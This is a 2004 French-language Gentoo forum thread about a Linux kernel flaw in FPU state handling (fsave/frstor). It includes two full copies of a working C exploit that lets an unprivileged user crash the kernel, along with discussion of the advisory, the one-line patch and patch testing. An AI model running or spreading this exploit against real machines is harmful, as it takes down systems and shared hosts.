Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
[OFF] Kernel bug pas cool...
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index French
View previous topic :: View next topic  
Author Message
LostControl
l33t
l33t


Joined: 02 Mar 2004
Posts: 885
Location: La Glane, Suisse

PostPosted: Mon Jun 14, 2004 10:04 pm    Post subject: [OFF] Kernel bug pas cool... Reply with quote

Salut,

Essayez de compiler ça :

Code:
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void
Handler (int ignore)
{
  char fpubuf[108];
  __asm__ __volatile__ ("fsave %0\n"::"m" (fpubuf));
  write (2, "*", 1);
  __asm__ __volatile__ ("frstor %0\n"::"m" (fpubuf));
}

int
main (int argc, char *argv[])
{
  struct itimerval spec;
  signal (SIGALRM, Handler);
  spec.it_interval.tv_sec = 0;
  spec.it_interval.tv_usec = 100;
  spec.it_value.tv_sec = 0;
  spec.it_value.tv_usec = 100;
  setitimer (ITIMER_REAL, &spec, NULL);
  while (1)
    write (1, ".", 1);

  return 0;
}


Avant de lancer l'exécutable, réflechissez bien, car ça vous plante n'importe quel kernel 8O Et pas besoin d'être root en plus :?

Source
Back to top
View user's profile Send private message
DuF
Advocate
Advocate


Joined: 09 Dec 2002
Posts: 2687
Location: Paris

PostPosted: Mon Jun 14, 2004 10:11 pm    Post subject: Reply with quote

A priori il y a quelques kernel gentoo qui ne sont pas sujet au problème, mais bon c'est qd même pas glop !
Back to top
View user's profile Send private message
guilc
Bodhisattva
Bodhisattva


Joined: 15 Nov 2003
Posts: 3326
Location: Paris - France

PostPosted: Tue Jun 15, 2004 6:01 am    Post subject: Reply with quote

Ouais, c un exploit sorti le 9 juin dernier et patché le 11.
Mais y a un patch pour les 2.4/2.6 qui sont sensibles a la faille (a priori, tous, a quelques exceptions près)

Y a les détails la :
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
_________________
Merci de respecter les règles du forum.

Mon site perso : https://www.xwing.info
Mon PORTDIR_OVERLAY : https://gentoo.xwing.info ou layman -a xwing
Back to top
View user's profile Send private message
Gentoo_Lover
l33t
l33t


Joined: 10 Jun 2004
Posts: 707
Location: ln -s France/Aquitaine/Bordeaux/ Localisation

PostPosted: Tue Jun 15, 2004 7:20 am    Post subject: Reply with quote

et les patchs ils y sont sur les dernieres gentoo-sources et gentoo-dev-sources ? moi perso je suis sous le 2.6.5-gentoo-r1 alors est ce patché ? sinon ou peut on trouver le patch !
_________________
My fvwm desktop screen : http://romain.perier.free.fr/fvwm/fvwm-last.png

http://www.gentoofr.org
Back to top
View user's profile Send private message
fafounet
l33t
l33t


Joined: 03 Apr 2004
Posts: 703
Location: Meuves, France

PostPosted: Tue Jun 15, 2004 8:45 am    Post subject: Reply with quote

Apparement celui ci tous les kernels sont concernés

Code:

-----------------------------------------------------------------------------
 * frstor Local Kernel exploit
 * Crashes any kernel from 2.4.18
 * to 2.6.7 because frstor in assembler inline offsets in memory by 4.
 * Original proof of concept code
 * by stian_@_nixia.no.
 * Added some stuff by lorenzo_@_gnu.org
 * and fixed the fsave line with (*fpubuf).
 * -----------------------------------------------------------------------------
 */

/*
-----------------------------------------
Some debugging information made
available by stian_@_nixia.no
-----------------------------------------
TakeDown:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $136, %esp
        leal    -120(%ebp), %eax
        movl    %eax, -124(%ebp)
#APP
        fsave -124(%ebp)

#NO_APP
        subl    $4, %esp
        pushl   $1
        pushl   $.LC0
        pushl   $2
        call    write
        addl    $16, %esp
        leal    -120(%ebp), %eax
        movl    %eax, -128(%ebp)
#APP
        frstor -128(%ebp)

#NO_APP
        leave
        ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
 char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
 write(2, "*", 1);
 __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
 struct itimerval spec;
 signal(SIGALRM, TakeDown);
 spec.it_interval.tv_sec=0;
 spec.it_interval.tv_usec=100;
 spec.it_value.tv_sec=0;
 spec.it_value.tv_usec=100;
 setitimer(ITIMER_REAL, &spec, NULL);
 while(1)
  write(1, ".", 1);

 return 0;
}
// <<EOF



Toutes ces conneries ca fait pas trop pub pour Linux :(
Back to top
View user's profile Send private message
Angelion
Apprentice
Apprentice


Joined: 13 May 2003
Posts: 250

PostPosted: Tue Jun 15, 2004 8:52 am    Post subject: Reply with quote

Ca c clair, je sens que pas mal de box vont freezer c prochains jours ...
Back to top
View user's profile Send private message
yoyo
Bodhisattva
Bodhisattva


Joined: 04 Mar 2003
Posts: 4273
Location: Lyon - France

PostPosted: Tue Jun 15, 2004 9:04 am    Post subject: Reply with quote

Angelion wrote:
Ca c clair, je sens que pas mal de box vont freezer c prochains jours ...

Encore faut-il pouvoir exécuter ce code sur la machine ...
_________________
La connaissance s'accroît quand on la partage.
JCB
Back to top
View user's profile Send private message
Angelion
Apprentice
Apprentice


Joined: 13 May 2003
Posts: 250

PostPosted: Tue Jun 15, 2004 9:11 am    Post subject: Reply with quote

Je parle des comptes shell, sans UML.

J'en ai personellement 5 et tous sont vulnerables.
Back to top
View user's profile Send private message
Gentoo_Lover
l33t
l33t


Joined: 10 Jun 2004
Posts: 707
Location: ln -s France/Aquitaine/Bordeaux/ Localisation

PostPosted: Tue Jun 15, 2004 9:11 am    Post subject: Reply with quote

et attendant que un patch sort pour nos kernel yaurai pas moyen de creer un script qui nous enpeche d'executer ce code ? ou qui le supprime ?
_________________
My fvwm desktop screen : http://romain.perier.free.fr/fvwm/fvwm-last.png

http://www.gentoofr.org
Back to top
View user's profile Send private message
Angelion
Apprentice
Apprentice


Joined: 13 May 2003
Posts: 250

PostPosted: Tue Jun 15, 2004 9:13 am    Post subject: Reply with quote

ya pas le patch ?
Back to top
View user's profile Send private message
Gentoo_Lover
l33t
l33t


Joined: 10 Jun 2004
Posts: 707
Location: ln -s France/Aquitaine/Bordeaux/ Localisation

PostPosted: Tue Jun 15, 2004 9:15 am    Post subject: Reply with quote

Angelion wrote:
ya pas le patch ?
désolé j'avais pa vu (en fait je suis pas trop réveillé ce matin )
mais ca y est pas par contre pour 2.6.5-gentoo-r1 enfin les gentoo-dev-sources :cry:
_________________
My fvwm desktop screen : http://romain.perier.free.fr/fvwm/fvwm-last.png

http://www.gentoofr.org
Back to top
View user's profile Send private message
Angelion
Apprentice
Apprentice


Joined: 13 May 2003
Posts: 250

PostPosted: Tue Jun 15, 2004 9:20 am    Post subject: Reply with quote

c'est a dire ?
t'as testé ?

Ca reste un patch, si t'as pas essayé tu peux pas savoir :wink:
Back to top
View user's profile Send private message
Gentoo_Lover
l33t
l33t


Joined: 10 Jun 2004
Posts: 707
Location: ln -s France/Aquitaine/Bordeaux/ Localisation

PostPosted: Tue Jun 15, 2004 9:22 am    Post subject: Reply with quote

non je n'est pas testé mais il y a dans le lien que tu m'a passé une section réservée au kernel gentoo , et le gentoo-dev-sources ny est pas :cry: !
sinon les autres y sont !
_________________
My fvwm desktop screen : http://romain.perier.free.fr/fvwm/fvwm-last.png

http://www.gentoofr.org
Back to top
View user's profile Send private message
yoyo
Bodhisattva
Bodhisattva


Joined: 04 Mar 2003
Posts: 4273
Location: Lyon - France

PostPosted: Tue Jun 15, 2004 9:23 am    Post subject: Reply with quote

Je pense que Gentoo_Lover veut dire que le patch n'est pas inclus dans les dernières Gentoo-dev-sources stables ...

@Gentoo_Lover : rien ne t'empèche de patcher toi-même tes sources et de recompiler ton kernel ...
_________________
La connaissance s'accroît quand on la partage.
JCB
Back to top
View user's profile Send private message
Angelion
Apprentice
Apprentice


Joined: 13 May 2003
Posts: 250

PostPosted: Tue Jun 15, 2004 9:23 am    Post subject: Reply with quote

je me repete mais ca veut pas dire que ca ne marche pas, tu as vu le patch ? ya que une seule ligne a changer
include/asm-i386/i387.h
Code:

 #define __clear_fpu( tsk )               \
 do {                        \
    if ((tsk)->thread_info->status & TS_USEDFPU) {      \
-      asm volatile("fwait");            \
+      asm volatile("fnclex ; fwait");            \
       (tsk)->thread_info->status &= ~TS_USEDFPU;   \
       stts();                  \
    }                     \
Back to top
View user's profile Send private message
Gentoo_Lover
l33t
l33t


Joined: 10 Jun 2004
Posts: 707
Location: ln -s France/Aquitaine/Bordeaux/ Localisation

PostPosted: Tue Jun 15, 2004 9:47 am    Post subject: Reply with quote

non je ne l'ai pas testé ni vu ! :lol: sinon explique je comprend pas ta question , oui je sais yoyo je peux patcher mon kernel moi même puis le recompiler mais ou est le patch alors ? et désolé si c'est un truc que j'ai pas vu car ce matin..... :oops: :oops:
_________________
My fvwm desktop screen : http://romain.perier.free.fr/fvwm/fvwm-last.png

http://www.gentoofr.org
Back to top
View user's profile Send private message
Angelion
Apprentice
Apprentice


Joined: 13 May 2003
Posts: 250

PostPosted: Tue Jun 15, 2004 9:55 am    Post subject: Reply with quote

comme je l'ai dit, le patch est

et tout est expliqué
Back to top
View user's profile Send private message
Gentoo_Lover
l33t
l33t


Joined: 10 Jun 2004
Posts: 707
Location: ln -s France/Aquitaine/Bordeaux/ Localisation

PostPosted: Tue Jun 15, 2004 9:57 am    Post subject: Reply with quote

oh la la désolé Angelion javais di que j'étais pas réveillé , en plus j'avais même pas vu 8O !
merci , et encore désolé :roll:
_________________
My fvwm desktop screen : http://romain.perier.free.fr/fvwm/fvwm-last.png

http://www.gentoofr.org
Back to top
View user's profile Send private message
guilc
Bodhisattva
Bodhisattva


Joined: 15 Nov 2003
Posts: 3326
Location: Paris - France

PostPosted: Tue Jun 15, 2004 12:00 pm    Post subject: Reply with quote

J'ai mis le patch pour les 2.6 sur 2 kernel différents : 2.6.5 vanilla et 2.6.6-mm5. Il s'applique sans broncher sur le 2.6.6-mm5, et mets juste un petit warning sur le vanilla 2.6.5 (décalage de lignes leger) mais s'applique correctement. Donc a priori, ne pas hésiter a appliquer le patch, il doit marcher sur pas mal de versions... Meme si le patch est indiqué pour une version en particulier. :)

Mais bon, ce patch, c'est quand meme pas l'idéal : il peut arriver que l'exploit provoque qand meme un kernel panic (pas un freeze cette fois) sur un kernel patché, si on le laisse tourner longtemps... Mais bon, en attendant mieux, c'est uen solution de première urgence pour les box avec des comptes publics
_________________
Merci de respecter les règles du forum.

Mon site perso : https://www.xwing.info
Mon PORTDIR_OVERLAY : https://gentoo.xwing.info ou layman -a xwing
Back to top
View user's profile Send private message
fafounet
l33t
l33t


Joined: 03 Apr 2004
Posts: 703
Location: Meuves, France

PostPosted: Tue Jun 15, 2004 12:11 pm    Post subject: Reply with quote

Pour lequel d´exploit ? Celui que LostControl a poste ou le mien ?
Back to top
View user's profile Send private message
guilc
Bodhisattva
Bodhisattva


Joined: 15 Nov 2003
Posts: 3326
Location: Paris - France

PostPosted: Tue Jun 15, 2004 12:18 pm    Post subject: Reply with quote

Pour le premier, l'exploit 100% en C.

C'est du vécu, et j'ai par ailleur lu que le patch avait été un peu fait a l'arrach (ceci confirme cela)...

Je n'ai pas testé le deuxième (je testerai ce soir : la, je suis au taf, et j'ai pas envie de planter ma box a distance, meme patché, on sait jamais :D)

[EDIT]

Je viens de tester la version modifiée de l'exploit : le patch marche aussi :) (toute fois, je ne l'ai pas laisser longtemps pour aller a une eventuelle segfault : pas envie de rebooter :)))
_________________
Merci de respecter les règles du forum.

Mon site perso : https://www.xwing.info
Mon PORTDIR_OVERLAY : https://gentoo.xwing.info ou layman -a xwing
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index French All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum